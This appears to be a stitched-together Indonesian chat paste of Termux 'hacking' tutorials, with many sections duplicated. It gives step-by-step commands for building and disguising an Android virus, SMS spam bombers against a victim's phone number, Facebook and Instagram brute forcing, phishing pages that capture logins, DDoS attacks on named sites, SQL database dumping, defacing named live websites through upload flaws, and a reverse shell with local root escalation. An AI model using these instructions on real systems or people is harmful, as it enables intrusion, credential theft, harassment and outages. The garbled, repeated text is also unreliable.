2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh VBugMaker Termux -apt update && apt upgrade -apt install git -apt install python Donwload file ->http://upfile.mobi/YGwg8gQLuvv Pindah ke directory Next -unzip vbug.zip -mv vbug $HOME -cd vbug -ls -chmod +x vbug.py -python2 vbug.py #Done BOOM SPAM DI TERMUX apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default aja Spam bom mall $ pkg install update $ pkg install upgrade $ pkg install wget $ pkg install php $ wget http://files-store.theprivat.ml/uploads/bom-mall.zip $ unzip bom-mall.zip $ cd bom-mall $ php run.php (Install *SpamTsel*) $ pkg install curl $ pkg install php $ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php $ chmod 777 bombtsel.php $ php bombtsel.php 3) Tool Spam LITESPAM $ pkg install php $ pkg install toilet $ pkg install sh LITESPAM $ pkg install git $ git clone https://github.com/4L13199/LITESPAM $ cd LITESPAM $ sh LITESPAM.sh atau bash LITESPAM.sh Masukan Nomer nya... Spammer GRAB $pkg install python2 $pip2 install requests $pkg install git $git clone http://github.com/p4kl0nc4t/Spammer-Grab $cd Spammer-Grab $python2 spammer.py nomor hp korban --delay 30 spam sms jdid 1.PKG install PHP 2.pkg install cURL 3.curl https://pastebin.com/raw/9BYy1 JVc -o jdid.php 4.php jdid.php Hacking spammer by seni $apt update && apt upgrade $apt install python2 php $pip2 install requests $apt install nano $apt install git $git clone https://github.com/Senitopeng/ SpamSms.git $cd SpamSms $python2 mantan.py HACKING DAN TRICK FB VIA TERMUX AUTO BOOT FACEBOOK $ git clone https://github.com/Senitopeng/BotFbBangDjon.git $ cd BotFbBangDjon $ python2 bangdjon.py Cara crack id fb https://findmyfbid.in/ git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction HACKING THOOLS MBF FACEBOOK $ pkg update && upgrade $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/pirmansx/mbf $ cd mbf $ python2 MBF.py (HACKING FB LEWAT TERMUX) $ apt update $ apt upgrade $ apt install python2 $ apt install python2-dev $ apt install wget $ dip2 install mechanize $ cd/sterage/emulated/0 $ python2 fbbrute.py ( yg tdi di download di tunda di luar folder ) $ storage/emulated/0/fassword.txt ( sama kya yang tadi di download trus tinda di luar folder ) =tinggal tunggu fassword nya muncul Jika beruntung BRUTEFORCE $ apt update $ apt upgrade $ apt install python $ apt install pip $ pip install wordlist $ apt install worlist $ Wordlist -h $ cd /sdcard $ Cat pas.txt FACEBOOK BRUTO FORCE $ apt update $ apt upgrade $ apt install python2 $ apt install python2-dev $ apt install wget $ pip2 install mechanize $ cd/storage/emulated/0 $ python2 fbbrute.py $ storage/emulated/0/password.txt Hacking tool weeman $ apt-get update $ apt-get upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/evait-security/weeman.git $ ls $ cd weeman $ ls $ python2 weeman.py $ show $set url https://www.facebook.com $set action_url https://www.facebook.com $ show buka new season (new tab) /lembar ke 2 $ ifconfig jika slesai copy no addres yg tertera. jngn sampai salah karna ada 2 addres disitu. jika tdk tau yg mna tanya. stelah copy no adres. buka lembar pertama lagi tulis $ run kasih adres tdi ke target. contoh 125.25.175.88:8080 ingt hrus ksh port > :8080 jika sudah dibuka dngn dia. saat dia login nnti. email. pass. tertera. serta data" akun target.... hacking fbbrute2 by decsec $ apt update (enter) $ apt upgrade (enter) $ apt install python2 (enter) $ apt install wget (enter) $ pip2 install mechanize (enter) $ cd /sdcard (enter) $ mkdir facebrute (enter) $ cd facebrute (enter) $ wget http://override.waper.co/files/facebook.apk $ wget http://override.waper.co/files/password.apk $ mv facebook.apk facebook.py (enter) $ mv password.apk password.txt (enter) $ python2 facebook.py (enter) #Selesai *note: Untuk masalah wordlist bisa buat sendiri kok ^^. Buat sendiri lebih efektif... hacking fbbrute3 $ Apt update ( Enter ) $ Apt upgrade ( Enter ) $ Apt install python2 ( Enter ) $ Pip2 install urllib3 chardet certifi idna requests( Enter ) $ Apt install openssl curl ( Enter ) $ Pkg install libcurl ( Enter ) $ Ln -s/sdcard ( Enter ) $ cd sdcard ( Enter ) $ Python2 fb.py ( Enter ) Hacking Botkomena fb $pkg update && pkg upgrade $pkg install git $pkg install python2 $pip2 install mechanize $git clone https://github.com/Senitopeng/ Botkomena.git $cd Botkomena $python2 botkomena.py Cara Install OSIF ( Open Source Information Facebook ) $ pkg install python2 $ git clone https://github.com/ciku370/OSIF $ cd OSIF $ pip2 install -r requirements.txt Dan cara menjalankannya menggunakan perintah : python2 osif.py weemen 1.download dulu termux 2.instal termux :V 3.ketik apt install git python2 4.ketik git clone https://github.com/evait-security/weeman.git 5.ketik cd weeman 6.ketik python2 weeman.py kalau udh ke install seperti ini 1.ketik set url https://m.facebook.com 2.ketik set action_url https://m.facebook.com/login 3.ketik run Kalau sudah begini . ketik 127.0.0.1:8080 pada browser maka web pishing yg di buat tadi sudah jadi lalu lemparkan ke target link 127.0.0.1:8080 lalu kalau korban terjebak , di mana email dan password nya ? masuk dalam termux jangan di tutup weeman tidak hanya dapat di gunakan sebagai media pishing facebook saja. kita juga dapat membuat web pishing situs lainya misalnya twitter instagram dll asal memiliki/terdapat form input Hacking instagram $ apt update && apt upgrade -y $ apt install nodejs git $ cd Instagram-Private-Tools $ node index.js $ git clone https://github.com/ccocot/Instagram-Private-Tools.git $ npm install *HACK INSTAGRAM* ( sosial engineering) $ apt update && apt upgrade $ pkg install python $ pkg install git $ pkg install nano $ git clone https://github.com/avramit/instahack.git $ ls $ cd instahack $ ls $ pip install requests $ cd instahack $ nano pass.txt $ cat pass.txt $ ls $ python hackinsta.py Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com Lacak IP git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak TOOL DDOS VIA TERMUX 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py RED_HAWK tool $ apt update $ apt install git $ git clone https://github.com/Tuhinshubhra/RED_HAWK $ cd RED_HAWK $ chmod +x rhawk.php $ apt install php $ ls $ php rhawk.php ```Install webdav ``` $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav Tutorial Install *Tools-B4J1N64Nv5* pkg install update pkg install git pkg install toilet pkg install figlet pip2 install lolcat git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5 cd B4J1N64Nv5 sh B4J1N64N.sh cara install termux ubuntu - apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh Cara install github tembak XL Dari awal 1.pkg upgrade 2.pkg update 3.pkg install git 4.pkg install python 5.git clone https://github.com/albertoanggi/xl-py 6.pip install -r requirements.txt 7.chmod +x app.py 8.python/python2 app.py *Install admin finder in termux* $ apt update && apt upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/AdheBolo/AdminFinder *Menjalankan* $ ls $ cd AdminFinder $ chmod 777 AdminFinder.py $ python2 AdminFinder.py *Cara install tool Mr.Rv1.1* $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap.git cd sqlmap Python2 sqlmap.py Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run TOOL D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py DEFACE Hacking Script-Deface $apt update $apt upgrade $apt install git $apt install python2 $git clone https://github.com/Ubaii/script-deface-creator $ls $cd script-deface-creator $ls $chmod +x create.py $ls $python2 create.py done semoga bisa bikin script Html CARA DEFACE Cara1 Siapkan script sendiri.. 1.buka browser kalian apa saja terserah lalu ke google 2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search 3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx 4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian 5.klik yang di bawah nya tunggu sampai loading selesai 6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search 7.selesai!! Cara2 Method/metode KCFinder Inurl:/kcfinder/browse.php Inurl:/Kcfinder/ Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html Contoh: https://basukiwater.com/kcfinder/browse.php jadi https://basukiwater.com/file/namasckamu.html cara3 Deface Onion.to File Upload Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut... Dork : - inurl:/upload site:.onion.to - intext:"Upload" site:.onion.to Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php Step By Step : 1. Dorking Dulu 2. Pilih Web Target 3. Pilih File yang mau di'upload 4. Tinggal klik Upload => Done 😆 Contoh Target : https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html https://danwin1210.me/uploads/lopeyou.html https://temp.xn--wda.fr/e719x8JgJ.html Mirror?! 😆 https://www.defacer.id/296011.html https://www.defacer.id/296024.html cara4 Metode com media Bahan : 1. Dork : - inurl:com_media site:com - inurl:com_media intext:"Upload" 2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 3. Upload'an : Format .txt 😁 Live Target : http://www.james-insurance.co.uk/ Step by Step : gunakan Live Targert dulu untuk Uji Coba 😁 1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk 2. Pilih salah satu Web 3. Masukkan Exploit http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 4. Lalu Upload file dalam tempat upload ( format .txt ) Akses shell ? Tambahkan : /images/namafile.txt contoh : http://www.james-insurance.co.uk/images/fac.txt Nanti Jadi Gini Hasilnyaa.. Mudah Bukan?! Tinggal Upload ke Defacer.id 😁 cara5 [POC] Vulnerability Simplicity Of Upload #Step 1: Dork: “Powered By: © Simplicity oF Upload” #Step 2: Exploit: http://[situstargetkamu]/PATH/upload.php *Tergantung dengan target. #Step 3: llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html) #Step 4: Preview: http://[situstargetkamu]/upload/[Your File] #Step 5: Live Demo: http://www.railfaneurope.net/pix/upload.php http://www.formplas.com/upload/upload.php *Di google masih banyak kok Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya. Kalau masih ada yang bin [8/11 06.41] +62 838-5688-2861: TOOL TERMUX Cara Install D-tect tool di android termux (command ) : $ apt install git $ apt install python2 $ git clone https://github.com/shawarkhanethicalhacker/D-TECT $ ls $ cd $ chmod +x d-tect.py $ python2 d-tect.py cara uninstall tool termux rm -rf toolsnya cara buat virus cd /sdcard cd vbug ls chmod vbug.py chmod -v vbug.py python2 vbug.py irssi /connet irc.freenode.net /nick w3wandroid /join #modol _________________________ DDOS via Termux 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py _________________________________________ Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy ________________________________________ musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak musik ________________________________________ Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah ________________________________________ Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya _______________________________________ Menampilkan animasi kereta :v $ pkg install sl $ sl _______________________________________ menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch _______________________________________ menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya _______________________________________ $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dgn mengetik nomornya.  Tutorial membuat virus seperti aplikasi aslinya🚨 Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh auto boot fb git clone https://github.com/Senitopeng/BotFbBangDjon.git cd BotFbBangDjon python2 bangdjon.py melihat id fb https://findmyfbid.in/ git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction cara membuat virus cd Vbug/vbug.py cd /storage/emulated/0/Vbug cd vbug Python2 vbug.py CRACK PASSWORD HASH git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/ cd FHX-Hash-Killer python2 FHXHashKiller.py git clone https://github.com/UltimateHackers/Hash-Buster $ cd Hash-Buster $ python2 hash.py pkg install irssi irssi (enter) /connect chat.freenode.net /nick oki /join #mrmaze Cara install Metasploit di termux (No Root) ~ apt update && apt upgrade ~ apt install curl ~ curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh ~ chmod +x metasploit.sh ~ ./metasploit.sh ... Tunggu proses instalasi sekitar 30-40 menit tergantung koneksi internet ... ( hack fb via termux ) $apt update $apt upgrade $apt install python2 $apt install python2-dev $apt install wget $dip2 install mechanize $cd/sterage/emulated/0 $python2 fbbrute.py ( yg tdi di download di tunda di luar folder ) $storage/emulated/0/fassword.txt ( sama kya yang tadi di download trus tinda di luar folder ) =tinggal tunggu fassword nya muncul Jika beruntung *silahkan mencoba* tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools pip install mps_youtube pip install youtube_dl apt install mpv mpsyt /judul $ pkg update && pkg upgrade CHATTING VIA TERMUX $ pkg install irssi $ irssi $ /connect chat.freenode.net $ /nick 1235 12345 di ganti sesuai nama/nick agan $ /join #XCAteam 100% work boom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjhj +6282399188718 Spam bom mall $ pkg install update $ pkg install upgrade $ pkg install wget $ pkg install php $ wget http://files-store.theprivat.ml/uploads/bom-mall.zip $ unzip bom-mall.zip $ cd bom-mall $ php run.php (```Install``` *SpamTsel*) $ pkg install curl $ pkg install php $ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php $ chmod 777 bombtsel.php $ php bombtsel.php 3) Tool Spam LITESPAM $ pkg install php $ pkg install toilet $ pkg install sh $ pkg install git $ git clone https://github.com/4L13199/LITESPAM $ cd LITESPAM $ sh LITESPAM.sh atau bash LITESPAM.sh Masukan Nomer nya... VBugMaker Termux -apt update && apt upgrade -apt install git -apt install python Donwload file ->http://upfile.mobi/YGwg8gQLuvv Pindah ke directory Next -unzip vbug.zip -mv vbug $HOME -cd vbug -ls -chmod +x vbug.py -python2 vbug.py #Done Cara Root Server Di Termux Dengan Ngrok Perl/PHP BackConnecter Mass Deface. 1. Install~ Buka Termux 2. Install Ngrok Registrasi Autthokennya. (http://ngrok.com/download;http://ngrok.com/signup) $ wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip $ unzip ngrok-stable-linux-arm.zip ngrok $ ./ngrok authtoken JWJDKNxxxxxxxxxx $ ./ngrok tcp port :~# Welcome : Plan Free "0.tcp.ngrok.io:port-ngrok ~> localhost:port" 3. Download Perl/PHP Backconnecter (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) dan Edit file nya, cari $ip dan $port ganti dengan (0.tcp.ngrok.io:port-ngrok) ~>Upload ke website (PERL: ON)(PHP: ON) 5. in termux command : $ nc -lnvp port 6. in backdoor shell : $ perl perl-reverse-shell.pl (atau) > http://situs.co.li/perl-reverse-shell.php (Run the script simply by browsing to the newly uploaded file in your web browser) .----(after backconnect successfully)--- 7. upload LOCALROOT $ wget https://domain.com/localroot/dirty $ chmod 777 dirty $ ./dirty New password: ndasmu (successfully rooted) 8. import TTY shell ===>jika menggunakan dirty<=== $ echo "import pty; pty.spawn('/bin/bash')" > /tmp/sad.py $ python /tmp/sad.py ===>jika menggunakan cowroot<=== $ python -c 'import pty;pty.spawn("/usr/bin/passwd")' (https://evertpot.com/189/) .-------------------------------------------- 9. login as ROOT $ su rintoar Password: ndasmu .-------------------------------------------- 10 ./mass (https://m.youtube.com/watch?v=HPQQok40v78) .-------------------------------------------- WEEMAN [✓] apt update && apt upgrade -y apt install git -y apt install python2 -y git clone https://github.com/evait-security/weeman cd weeman chmod 777 weeman.py python2 weeman.py Ex set url http://facebook.com set action_url http://facebook.com run ___________________________________________ Hunner framework apt update apt install python apt install git -y git clone https://github.com/b3-v3r/Hunner cd Hunner chmod 777 hunner.py python hunner.py ___________________________________________ SQLMAP [✓] apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap cd sqlmap Python2 sqlmap.py ______ Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump ___________________________________ DDOS XERXES [✓] clang xerxes.c -o xerxes ./xerxes website 80 ___________________________________ DDOS TORSHAMMER [✓] apt-get update apt-get install python2 apt-get install tor apt-get install git git clone https://github.com/dotfighter/torshammer.git cd torshammer python2 torshammer.py -T -t website ___________________________________ BRUTEFORCE [✓] apt update apt upgrade apt install python apt install pip pip install wordlist apt install worlist Wordlist -h cd /sdcard Cat pas.txt ___________________________________ Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com ___________________________________ Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py ___________________________________ BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py ___________________________________ HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run ___________________________________________ RED HAWK apt update apt install git git clone https://github.com/Tuhinshubhra/RED_HAWK cd RED_HAWK chmod +x rhawk.php apt install php ls php rhawk.php ___________________________________________ D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com ___________________________________________ viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com __________________ Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py PERKIRAAN cuaca curl http://wttr.in/ (lokasi) tool Routersploit apt install git apt install python2 pip2 install requests git clone https://github.com/reverse-shell/routersploit.git cd routersploit pip install -r requirements.txt termux-fix-shebang rsf.py Cara pake cd routersploit ./ rsf.py use scanners/autopwn show options set target 192.168.1.1 set port 8080 set threads 10 masukkan exploitsnya set target 192.168.1.1 -check -run tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (```Install``` *Weeman* ) $ apt update && apt upgrade -y $ apt install git -y $ apt install python2 -y $ git clone https://github.com/evait-security/weeman $ cd weeman $ chmod 777 weeman.py $ python2 weeman.py Contoh $ set url http://facebook.com $ set action_url http://facebook.com run (Bisa diganti phising nya, kalau Twitter ya bisa ataupun yg lain) *Ikuti Langkah Demi Langkah* (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py Ikuti Langkah Demi Langkah (```Install``` *SQLMAP*) $ apt update $ apt install python $ apt install python2 $ apt install git $ gi clone https://github.com/sqlmapproject/sqlmap $ cd sqlmap $ Python2 sqlmap.py Exemple:- Python2 sqlmap.py -u website --dbs -D acuart --tables -D acuart -T users --columns -D acuart -T users -C name,email,phone -dump Ikuti Langkah Demi Langkah Lacak ip git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak bbom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjh --------------------------------------------------------------------- *1.Spammer SMS Grab Install Spammernya dulu* $pkg install python2 $pip2 install requests $pkg install git $git clone https://github.com/p4kl0nc4t/Spammer-Grab $cd Spammer-Grab $ls $chmod +x spammer.py $python2 spammer.py --delay 30 nomor korban. --------------------------------------------------------------------------------------- *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py --------------------------------------------------------------------------------------- *2.Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php --------------------------------------------------------------------------------------- 3. Install webdav $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav $ curl -k -O https://pastebin.com/raw/HnVyQPtR $ mv HnVyQPtR webdav.py $ python2 webdav.py --------------------------------------------------------------------------------------- *2. Xerxes* $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 --------------------------------------------------------------------------------------- *3. Torshammer* $ pkg update $ pkg install git $ Pkg install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py -T -t seword.com ( web y ang kalian attack ) #mr khanz'''TOOL TERMUX Cara Install D-tect tool di android termux (command ) : $ apt install git $ apt install python2 $ git clone https://github.com/shawarkhanethicalhacker/D-TECT $ ls $ cd D-TECH $ chmod +x d-tect.py $ python2 d-tect.py cara uninstall tool termux rm -rf toolsnya cara buat virus cd /sdcard cd vbug ls chmod vbug.py chmod -v vbug.py python2 vbug.py irssi /connet irc.freenode.net /nick w3wandroid /join #modol _________________________ DDOS via Termux 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py _________________________________________ Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy ________________________________________ musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak musik ________________________________________ Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah ________________________________________ Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya _______________________________________ Menampilkan animasi kereta :v $ pkg install sl $ sl _______________________________________ 